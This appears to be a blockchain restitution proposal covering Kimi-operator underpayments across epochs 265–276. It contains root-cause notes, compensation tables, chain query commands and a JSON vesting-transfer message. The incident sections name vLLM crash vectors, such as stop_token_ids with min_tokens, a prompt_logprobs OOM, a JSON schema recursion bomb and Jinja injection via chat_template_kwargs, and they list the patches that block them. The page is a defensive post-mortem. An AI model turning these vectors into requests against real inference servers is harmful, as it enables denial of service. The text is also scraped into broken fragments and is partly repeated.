Cause and evidence External actor sent malicious requests crashing Kimi vLLM nodes in e265–e266, causing CPoC degradation and mass nonce exclusion; the resulting N-1 weight collapse triggered ComputeGroupCap inversion every epoch through e276. Evidence: weight_fluctuation_analysis.md, per-epoch compensation scripts and JSON in e265/–e276/.
Can it happen again? ComputeGroupCap: No known repeat path — resolved by v0.2.13 WeightScaleFactor adjustment. External vLLM attack: Reduced risk — the specific crash vectors (stop_token_ids+min_tokens OOM, prompt_logprobs OOM, JSON schema recursion bomb, Jinja injection via chat_template_kwargs) are patched at the devshard gateway (PRs #1170, #1171, #1180, merged May 16–18). A proxy geo-module bug (PR #1183) that made all IP-based rate-limiting ineffective during e265 was also fixed May 18. No known remaining crash path, but gateway coverage of unknown vLLM attack surface cannot be guaranteed.
Mitigation / fix Nonce exclusion bug: fixed before e267 (version unconfirmed). ComputeGroupCap: v0.2.13 at block 4,267,300 (WeightScaleFactor for Kimi reduced to 0.78). External vLLM attack: devshard gateway patches merged May 16–18 2026 — PR #1170 (stop_token_ids+min_tokens strip, the confirmed e264/e265 attack vector), PR #1171 (prompt_logprobs OOM strip), PR #1180 (CVE-class defenses: schema recursion, Jinja injection, body depth pre-scan), PR #1183 (proxy geo-module bug fix — rate-limiting was non-functional during the attack).
Compensation overlap Requires investigation — potential address overlap with separate restitution tracks not yet audited.
Current decision GRC voted to exclude this case from proposal #4 (6 exclude, 2 include, 1 abstain). Calculations are published here for community reference if anyone chooses to bring this forward independently.
Review focus Highest risk: e266 nonce reconstruction methodology (18 participants, 183,605 GONKA); confirm reconstructed weights match on-chain nonce commits in poc_commits/.
GRC Position
E265–E266 (external attack): The lost rewards in epochs 265 and 266 were a direct result of a third-party attack on Kimi vLLM nodes. Losses caused by external actors are outside the scope of the Gonka Restitution Committee. These epochs cannot be included in a GRC proposal.
E267–E276 (ComputeGroupCap): The cap breach was triggered by the attack-induced N-1 weight collapse in e266, but it was not caused solely by that event. As noted by a committee reviewer:
\"Additionally, the GroupCap issue was not caused solely by recovery from the attack. It was also influenced by the significant weight imbalance between Kimi and Qwen. In fact, update 0.2.13 specifically reduced Kimi's weight for this reason. GroupCap was effectively acting as a balancing mechanism to normalize profitability between the models.\"
This context further reduces the case for GRC restitution: the cap was partly correcting a structural imbalance, not purely an anomalous malfunction.
GRC vote outcome: The committee voted against including this case in the next proposal.
Vote Count
Include 2
Exclude 6
Abstain 1
The compensation calculations in this repository were prepared and validated by two committee reviewers. They are published here so that the community can use these findings if anyone chooses to bring this proposal forward independently.
Methodology objection (GRC reviewer): One reviewer raised a concern that the current calculation overstates compensation because it does not recompute the total network weight. Their argument: the correct question is how much each participant would have received if GroupCap had never existed — which would require reconstructing the uncapped weight for every group, summing into a new total network weight, and compensating only the shortfall against that recalculated denominator. Under that approach, Kimi participants would receive less than the current calculation produces.
The counter-argument applied here: Qwen rewards have already been paid and cannot be clawed back, so there is no \"same pie\" to redistribute. The current approach applies the same reward formula the chain used for all other participants — using EpochGroupData.total_weight as denominator — and corrects only the Kimi side. This is consistent with how prior restitution cases were handled in this repo.
Overview
This repository contains the restitution analysis for epochs 265 through 276 of the Gonka network. Two distinct bugs caused underpayment to moonshotai/Kimi-K2.6 operators across these epochs:
Epochs 265–266: external attack — an unknown actor sent malicious requests targeting Kimi vLLM nodes starting in e265 (attack payload confirmed from production logs: stop_token_ids
min_tokens combination that triggers a vLLM CUDA assert, crashing the engine; 16 crashes across 12/14 mlnodes observed on 2026-05-14), causing CPoC confirmation weight degradation, and escalating in e266 to crash most operators and cause mass nonce exclusion; delegation compensation included for e266 delegators; gateway patches merged May 16–18 (PRs #1170, #1171,
"}, {"location": "proposals/proposals/2026-q2/67/#1180-1183", "title": "1180, #1183)", "text": "Epochs 267–276: ComputeGroupCap underpayment — the e266 collapse destroyed the N-1 reference weight used by the cap formula, and when Kimi operators returned in e267 with full accumulated confirmation weight the mismatch caused a severe inversion; the cap remained triggered every epoch until the v0.2.13 upgrade
The cap breach was resolved by the v0.2.13 upgrade at block 4,267,300 (mid-epoch 276), which reduced Kimi's WeightScaleFactor to 0.78. Epoch 277 is the first clean epoch.
Epoch Block Heights
Epoch PoC Start Epoch End Notes
265 4,089,970 4,105,360
266 4,105,361 4,120,751
267 4,120,752 4,136,142
268 4,136,143 4,151,533
269 4,151,534 4,166,924
270 4,166,925 4,182,315
271 4,182,316 4,197,706
272 4,197,707 4,213,097
273 4,213,098 4,228,488
274 4,228,489 4,243,879
275 4,249,774 4,259,270
276 4,264,130 4,279,520 true epoch end; v0.2.13 upgrade at 4,267,300
Reward formula: 323,000 × e^(−0.000475 × (epoch − 1)) GONKA.
Eligibility Criteria
Epoch 265 (external attack — CPoC degradation): Participants whose confirmation weight dropped abnormally mid-epoch at block 4,103,171 due to the attack. Compensation uses weight / total_epoch_weight × epoch_reward − actual_rewards.
Epoch 266 (external attack — nonce exclusion): The attack escalated, crashing most Kimi operators and causing mass nonce exclusion. Participants who submitted valid Kimi nonces but were never registered in the epoch group (or had their Kimi contribution zeroed) are eligible. Delegation compensation is also included for participants whose operator was excluded.
Epochs 267–276 (ComputeGroupCap): A participant is eligible only if they successfully completed the epoch — meaning they both confirmed work (confirmation_weight on-chain) AND received actual rewards. Participants who failed the epoch for any reason are excluded: the bug caused underpayment to healthy participants, not an obligation to pay those who didn't complete the epoch.
Delegation Impact (Epoch 266)
Gonka uses a PoC delegation system where participants without direct MLNodes can delegate their consensus weight to an operator. When an operator fails to enter the epoch (due to the nonce bug), the chain resolves all their delegators into ModeNone instead of ModeDelegate:
Mode Condition Weight effect
ModeDelegate Operator entered epoch −5% transferred to operator
ModeNone Operator did not enter −15% deducted as penalty
The net extra loss for a delegator whose Kimi operator was excluded is 10% of their original consensus weight.
Full mechanics: e266/DELEGATION.md
Epoch 265 — External Attack (CPoC Degradation)
All Kimi operators entered the epoch group, but CPoC confirmation weights dropped abnormally at block 4,103,171 as a result of the external attack on Kimi vLLM nodes. 3 participants were affected.
compensation = max(0, weight / total_epoch_weight × epoch_reward − actual_rewards)
Address weight cw@healthy cw@end drop Owed (GONKA)
gonka1j7x6dv42xehe9e5au4ku3wvzwtqlegfjhlvzj6 66,311 66,311 323 99.5% 20,896.53
gonka17pw6099q758qwzewtrqmqpf5c2lrhr97fwqexu 189,884 186,719 172,607 7.6% 5,444.49
gonka1830lqug50lse998x2lakk4pj5ypfumz5pasz0y 13,490 7,031 0 100% 4,251.09
Epoch 265 Total: 30,592.10 GONKA (3 participants)
Output: e265/compensation_265.csv · e265/compensation_265.json
Epoch 266 — External Attack (Nonce Exclusion)
The attack escalated in e266, crashing most Kimi operators' inference nodes and causing mass exclusion from the epoch. 9 participants submitted Kimi nonces and had their commits recorded on-chain but were never registered in the epoch group. A further 9 participants entered the epoch but with their Kimi contribution partially zeroed out. The on-chain total epoch weight was 335,159 — the correctly reconstructed weight from all nonce commits is 1,079,698, meaning ~69% of the network's true Kimi work was invisible to the reward calculation.
Part 1: Nonce compensation (18 participants)
compensation = max(0, reconstructed_weight / total_reconstructed_weight × epoch_reward − actual_rewards)
Address Reconstructed weight Fair share (GONKA) Actual (GONKA) Owed (GONKA)
gonka17pw6099q758qwzewtrqmqpf5c2lrhr97fwqexu 214,919.1 56,690.25 14,350.37 42,339.89
gonka1q5xt54wncgzk7dxv9x64uln68455g83wu9tugg 113,567.5 29,956.26 0.00 29,956.26
gonka1wthc28t25pg63hzvl07rl8e8r6km6hesl6jhsz 109,684.6 28,932.04 2,148.14 26,783.90
gonka1j7x6dv42xehe9e5au4ku3wvzwtqlegfjhlvzj6 72,610.3 19,152.78 239.63 18,913.15
gonka1qa90tgczc0k5dvk4l5nvlf5y6phgm6mg22sfjv 70,111.4 18,493.62 0.00 18,493.62
gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09 64,214.9 16,938.28 5,869.99 11,068.29
gonka1jrgm47v5eg876udmzg6j6glqcsd5x0vk6crpax 32,390.2 8,543.71 0.00 8,543.71
gonka1ujnc662v6g69jm6fgxnr79a2m7ehzeut059239 28,109.2 7,414.49 0.00 7,414.49
(10 more — see compensation_266_nonces.csv)
Part 1 total: 183,605.74 GONKA
Part 2: Delegation compensation (9 participants)
9 participants delegated their Kimi weight to gonka1q5xt54... (excluded operator). The chain penalised them 15% (ModeNone) instead of transferring 5% (ModeDelegate) — net extra weight loss of 10% per participant.
compensation = (original_weight × 0.10) / total_epoch_weight × epoch_reward
Address Extra weight lost Owed (GONKA)
gonka1tja3g2da45efhe2p83gk3whtussmgmtsdlgprt 2,124.3 1,805.14
gonka1hwvel7n3zuk6wruefuzc356l9myske9stckwnz 1,854.1 1,575.51
gonka12pcu9mcrpa4w4sjd9y3dsksnvu495ss6f9r4ra 1,372.7 1,166.44
gonka1tlvg4kjx7ljd5thgd5fkgh39q6lu8cmxupktgg 207.4 176.25
gonka1fvly5jrewyjmjfgwah3khy9rttq4cqajcesv9p 134.0 113.86
gonka1cuwejs77gectp3n32wg8q27hlsa4m3hqspf4ww 127.5 108.37
gonka1tmk2tzdneht6smu34pkmqdvu7p34qavvmwtwq2 118.3 100.57
gonka1gyk0aahvr3qeju4zx0nplfreej6cy4jjk8svc5 36.5 30.99
gonka14ef2pxjge75gflqftn7m2wy0xv59gq9uc7qnct 18.4 15.60
Part 2 total: 5,092.73 GONKA
Epoch 266 Grand Total: 188,698.47 GONKA (18 nonce + 9 delegation participants)
Output: e266/compensation_266.json
Epoch 267 — ComputeGroupCap (worst epoch)
All Kimi operators entered the epoch, but the Kimi group's raw weight (899,487) far exceeded the ComputeGroupCap (0.75 × epoch 266 total weight 335,159 = 251,369). The e266 total weight was severely depressed by a targeted external attack on Kimi vLLM nodes, which crashed most operators and collapsed network weight to 335k. This destroyed the N-1 reference weight used by the cap formula for e267 — when Kimi operators returned with full accumulated confirmation weight, the mismatch caused the worst inversion of the entire incident (conf/weight ratio 1.75×).
compensation = max(0, confirmation_weight / EpochGroupData.total_weight × epoch_reward − actual_rewards)
Metric Value
Kimi participants in epoch 27
Affected participants 25
Total compensation 246,471.82 GONKA
Output: e267/compensation_267.csv · e267/compensation_267.json
Epoch 268 — ComputeGroupCap
Cap baseline rose (using epoch 267's total weight), but Kimi's conf_weight remained above cap at 85.2% of total network weight. Conf/weight ratio 0.85×.
Metric Value
Kimi participants in epoch 20
Affected participants 11
Total compensation 42,634.68 GONKA
Output: e268/compensation_268.csv · e268/compensation_268.json
Epoch 269 — ComputeGroupCap
Kimi conf_weight at 87.6% of total network weight. Conf/weight ratio ~1.00×.
Metric Value
Kimi participants in epoch 30
Affected participants 19
Total compensation 47,504.58 GONKA
Output: e269/compensation_269.csv · e269/compensation_269.json
Epoch 270 — ComputeGroupCap
Kimi conf_weight at 94.9% of total network weight. Conf/weight ratio 1.23×.
Metric Value
Kimi participants in epoch 23
Affected participants 19
Total compensation 76,870.08 GONKA
Output: e270/compensation_270.csv · e270/compensation_270.json
Epoch 271 — ComputeGroupCap
Kimi conf_weight at 80.5% of total network weight. Conf/weight ratio 0.95×.
Metric Value
Kimi participants in epoch 23
Affected participants 17
Total compensation 28,422.15 GONKA
Output: e271/compensation_271.csv · e271/compensation_271.json
Epoch 272 — ComputeGroupCap
Kimi conf_weight at 80.0% of total network weight. Conf/weight ratio 0.88×.
Metric Value
Kimi participants in epoch 23
Affected participants 11
Total compensation 16,988.15 GONKA
Output: e272/compensation_272.csv · e272/compensation_272.json
Epoch 273 — ComputeGroupCap (second inversion)
Kimi node count jumped to 81 nodes (30 participants). Kimi conf_weight reached 107.5% of total network weight — a second inversion. Conf/weight ratio 1.18×.
Metric Value
Kimi participants in epoch 30
Affected participants 20
Total compensation 86,243.30 GONKA
Output: e273/compensation_273.csv · e273/compensation_273.json
Epoch 274 — ComputeGroupCap
Kimi conf_weight at 88.5% of total network weight. Conf/weight ratio 0.97×.
Metric Value
Kimi participants in epoch 24
Affected participants 9
Total compensation 41,818.44 GONKA
Output: e274/compensation_274.csv · e274/compensation_274.json
Epoch 275 — ComputeGroupCap
Kimi conf_weight at 103.6% of total network weight. Conf/weight ratio 1.28×.
Metric Value
Kimi participants in epoch 24
Affected participants 18
Total compensation 89,984.78 GONKA
Output: e275/compensation_275.csv · e275/compensation_275.json
Epoch 276 — ComputeGroupCap
v0.2.13 activated at block 4,267,300 (mid-epoch), reducing Kimi's WeightScaleFactor to 0.78. Compensation is calculated against the full epoch end state (block 4,279,520) using the post-upgrade weights and rewards as recorded by the chain.
Metric Value
Kimi participants in epoch 23
Affected participants 11
Total compensation 50,281.35 GONKA
Output: e276/compensation_276.csv · e276/compensation_276.json
Grand Total
Epoch Issue Affected Compensation (GONKA)
265 CPoC degradation 3 30,592.10
266 Nonce exclusion + delegation 18 + 9 188,698.47
267 ComputeGroupCap 25 246,471.82
268 ComputeGroupCap 11 42,634.68
269 ComputeGroupCap 19 47,504.58
270 ComputeGroupCap 19 76,870.08
271 ComputeGroupCap 17 28,422.15
272 ComputeGroupCap 11 16,988.15
273 ComputeGroupCap 20 86,243.30
274 ComputeGroupCap 9 41,818.44
275 ComputeGroupCap 18 89,984.78
276 ComputeGroupCap 11 50,281.35
TOTAL
53 unique addresses 946,509.93 GONKA
Per-address breakdown: aggregate_compensation.json · aggregate_compensation.csv
Issue resolved in e277 following v0.2.13 upgrade. No further compensation required.
Repository Structure
.py │ ├── compensation_.csv │ ├── compensation_.json │ ├── epoch_commits.json │ ├── epoch_group_data.json │ └── epoch_performance.json\">gonka-e26x-issue/ ├── README.md ← this file ├── weight_fluctuation_analysis.md ← full root cause analysis, Kimi weight history ├── aggregate_compensation.py ← aggregates all epochs into per-address totals ├── aggregate_compensation.json ← per-address totals (machine-readable) ├── aggregate_compensation.csv ← per-address totals (spreadsheet) ├── poc_commits/ ← raw nonce commits fetched from chain ├── e265/ ← CPoC degradation │ ├── calculate_compensation_265.py │ ├── compensation_265.csv │ └── compensation_265.json ├── e266/ ← nonce exclusion + delegation │ ├── calculate_compensation_266.py │ ├── DELEGATION.md │ ├── compensation_266_nonces.csv │ ├── compensation_266_delegation.csv │ ├── compensation_266_combined.csv │ └── compensation_266.json ├── e267/ … e276/ ← ComputeGroupCap (one directory per epoch) │ ├── calculate_compensation_.py │ ├── compensation_.csv │ ├── compensation_.json │ ├── epoch_commits.json │ ├── epoch_group_data.json │ └── epoch_performance.json
Running the Analysis
Requires the inferenced binary and archive node access. Configure via .env:
:26657 INFERENCED_BINARY=/path/to/inferenced\">ARCHIVE_NODE_URL=http://:26657 INFERENCED_BINARY=/path/to/inferenced
The .env is loaded from ../gonka-segment-report/.env.
"}, {"location": "proposals/proposals/2026-q2/67/#run-any-epochs-calculator", "title": "Run any epoch's calculator", "text": "python3 e267/calculate_compensation_267.py
"}, {"location": "proposals/proposals/2026-q2/67/#regenerate-aggregate-per-address-totals", "title": "Regenerate aggregate per-address totals", "text": "python3 aggregate_compensation.py
Chain Query Reference
All queries use --height pinned to the epoch end block to read state before pruning.
\\ --node --height -o json
"}, {"location": "proposals/proposals/2026-q2/67/#epoch-group-data-validation-weights-confirmation-weights", "title": "Epoch group data (validation weights, confirmation weights)", "text": "inferenced query inference show-epoch-group-data \\ --node --height -o json
"}, {"location": "proposals/proposals/2026-q2/67/#per-participant-reward-summary", "title": "Per-participant reward summary", "text": "inferenced query inference show-epoch-performance-summary-by-participant \\ --node -o json
"}, {"location": "proposals/proposals/2026-q2/67/#delegation-snapshot-query-at-poc_start-500", "title": "Delegation snapshot (query at poc_start - 500)", "text": "inferenced query inference poc-delegation \\ --node --height -o json\"># PoC nonce commits for an epoch inferenced query inference all-poc-v2-store-commits poc_start> \\ --node ARCHIVE_NODE> --height epoch_end> -o json
"}, {"location": "proposals/proposals/2026-q2/67/#epoch-group-data-validation-weights-confirmation-weights_1", "title": "Epoch group data (validation weights, confirmation weights)", "text": "inferenced query inference show-epoch-group-data epoch> \\ --node ARCHIVE_NODE> --height epoch_end> -o json
"}, {"location": "proposals/proposals/2026-q2/67/#per-participant-reward-summary_1", "title": "Per-participant reward summary", "text": "inferenced query inference show-epoch-performance-summary-by-participant \\ epoch> address> --node ARCHIVE_NODE> -o json
"}, {"location": "proposals/proposals/2026-q2/67/#delegation-snapshot-query-at-poc_start-500_1", "title": "Delegation snapshot (query at poc_start - 500)", "text": "inferenced query inference poc-delegation address> \\ --node ARCHIVE_NODE> --height poc_start - 500> -o json
Epoch poc_start epoch_end
265 4,089,970 4,105,360
266 4,105,361 4,120,751
267 4,120,752 4,136,142
268 4,136,143 4,151,533
269 4,151,534 4,166,924
270 4,166,925 4,182,315
271 4,182,316 4,197,706
272 4,197,707 4,213,097
273 4,213,098 4,228,488
274 4,228,489 4,243,879
275 4,249,774 4,259,270
276 4,264,130 4,279,520
"}, {"location": "proposals/proposals/2026-q2/67/#final-tally", "title": "Final Tally", "text": "Yes 319,920 (78.9%) No 150 (0.0%) Veto 84,623 (20.9%) Abstain 744 (0.2%) Total 405,437 votes"}, {"location": "proposals/proposals/2026-q2/67/#messages", "title": "Messages", "text": "# Type 1/inference.streamvesting.MsgBatchTransferWithVesting Contract Details [\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka1qa90tgczc0k5dvk4l5nvlf5y6phgm6mg22sfjv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"158541879455919\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17pw6099q758qwzewtrqmqpf5c2lrhr97fwqexu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"101147807218599\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uhqpup9fev3zahlx6n326lp0krznc6usjtx6lu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"96601320933414\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wthc28t25pg63hzvl07rl8e8r6km6hesl6jhsz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"79247555226990\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q5xt54wncgzk7dxv9x64uln68455g83wu9tugg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"73073708453292\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"66487744752217\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gvrrhjmy4w4mayvs2s5l23edj8ertcmtd2v4zr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"52290195675726\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j7x6dv42xehe9e5au4ku3wvzwtqlegfjhlvzj6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"39809676543013\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jrgm47v5eg876udmzg6j6glqcsd5x0vk6crpax\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33750579636210\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10079cnl3nuh2k82mhkm04dj0slhtw9kmjewwau\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20610390027954\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15munkmx6x7k6rqqeexjet4556p7at39ks9qgr5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18234887510983\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17630158097135\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1830lqug50lse998x2lakk4pj5ypfumz5pasz0y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"13958367773340\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ujnc662v6g69jm6fgxnr79a2m7ehzeut059239\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"12612234865692\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1007g0ut3u4wjkay9hegqfev4pj90qgexwskmcw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11688555563236\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c6fwzedfsmpu4jnjekv4cn7mvr7x7fuqd6uqt9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11366419253907\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1007dchuqgdnute4qam70kmn56j2vfw38mhyrqv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11262520197774\"\n }\n ]\n },\n {\n \"recipient\": \"gonka168rtjfkszuhcggg4dfyse4yh7xn9zwfglnkns2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11021183080111\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wt8sr9jxzpec65j7zkxsgh6edk3m6r8nlf5za4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10934181496134\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wkgawwdzj623ss8eywayzdj6qcgr2llygactje\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10456612261496\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xwkesaxvdadh9wt9yyladu0r260s7whklcktds\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9768694504061\"\n }\n ]\n },\n {\n \"recipient\": \"gonka125n6kr5gvdup0lndfkps7t6rd6592panhrg3np\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"9423072516255\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19cjm4c5mt3j3qdr8vhytmm4hef3pnkvkm0x7m2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8441669467829\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18xeqnspxpg2vncufnjne485rkaagwvz7whyn0d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6820652573831\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mmlyd5xxu5l68yx8wzclrkxkxvm88mhq5tp5s0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6618057560512\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1scskt6wpnjnumsah6kjphmdu87vjgvcxmn4rxv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5645801436758\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wvv656pt2d8x2khcvytqeessck5uzjnxzsa8f6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5511598438612\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4673802241961\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14ljarev2nlzu4ej50vx7ylj2rvg4n20fnq2ysc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4444392150972\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l8jd2nz92mnem0xwgwkltcw2952cnlphs5arsa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4167200640617\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1007n977a7uda3pd9m6hftw8xcql0tc20m96myu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3396492511794\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3018840187451\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tl5m3vuqsx333v7095ymwjdc4vdk2wd9r5hqws\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2731396085272\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14g78ez2zy08k8sssue483zmfpgd4qut8zcwlqc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2602055673919\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zktn8j65wlys8a8e38hqhf4y3x6m4x04zskkrx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2392222959397\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tlvg4kjx7ljd5thgd5fkgh39q6lu8cmxupktgg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2293694674600\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15p7s7w2hx0y8095lddd4ummm2y0kwpwljk00aq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2034501080557\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tja3g2da45efhe2p83gk3whtussmgmtsdlgprt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1805142497891\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ce02jjduga8jvwj8jx39mxn0jr345vgkx7lk2n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1753409171279\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hwvel7n3zuk6wruefuzc356l9myske9stckwnz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1575513416778\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12pcu9mcrpa4w4sjd9y3dsksnvu495ss6f9r4ra\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1166439755518\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1025259358283\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10070xwkwv00sulsa7gdfwkgh8w069stkjjf39x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1017602508283\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10075dz43h94zhqu5hwdj3nyjay6v8mzwvpxr0s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1017602508283\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1007lnkyhdh7aq0vjdcdwcerkdh4yy85rymjdg6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1007974841606\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13a4v8gxxjav5t4xq5y9cv9d8rfnvkjfw5adqz3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"521637814838\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1myu058axjs62mc3e7na9krwvqpfl9z3gtcw9es\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"279015575378\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14ef2pxjge75gflqftn7m2wy0xv59gq9uc7qnct\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"276414090986\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fvly5jrewyjmjfgwah3khy9rttq4cqajcesv9p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"113864833864\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cuwejs77gectp3n32wg8q27hlsa4m3hqspf4ww\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"108366531966\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tmk2tzdneht6smu34pkmqdvu7p34qavvmwtwq2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100568940182\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gyk0aahvr3qeju4zx0nplfreej6cy4jjk8svc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30990428883\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"160\"\n }\n]\nField Value
Case GRC-GONKA-265 - Kimi operator restitution: external attack (e265–e266) + ComputeGroupCap underpayment (e267–e276)
Epochs affected 265–276
Affected participants 53 unique addresses
Estimated compensation 946,509.93 GONKA
Cause and evidence External actor sent malicious requests crashing Kimi vLLM nodes in e265–e266, causing CPoC degradation and mass nonce exclusion; the resulting N-1 weight collapse triggered ComputeGroupCap inversion every epoch through e276. Evidence: weight_fluctuation_analysis.md, per-epoch compensation scripts and JSON in e265/–e276/.
Can it happen again? ComputeGroupCap: No known repeat path — resolved by v0.2.13 WeightScaleFactor adjustment. External vLLM attack: Reduced risk — the specific crash vectors (stop_token_ids+min_tokens OOM, prompt_logprobs OOM, JSON schema recursion bomb, Jinja injection via chat_template_kwargs) are patched at the devshard gateway (PRs #1170, #1171, #1180, merged May 16–18). A proxy geo-module bug (PR #1183) that made all IP-based rate-limiting ineffective during e265 was also fixed May 18. No known remaining crash path, but gateway coverage of unknown vLLM attack surface cannot be guaranteed.
Mitigation / fix Nonce exclusion bug: fixed before e267 (version unconfirmed). ComputeGroupCap: v0.2.13 at block 4,267,300 (WeightScaleFactor for Kimi reduced to 0.78). External vLLM attack: devshard gateway patches merged May 16–18 2026 — PR #1170 (stop_token_ids+min_tokens strip, the confirmed e264/e265 attack vector), PR #1171 (prompt_logprobs OOM strip), PR #1180 (CVE-class defenses: schema recursion, Jinja injection, body depth pre-scan), PR #1183 (proxy geo-module bug fix — rate-limiting was non-functional during the attack).
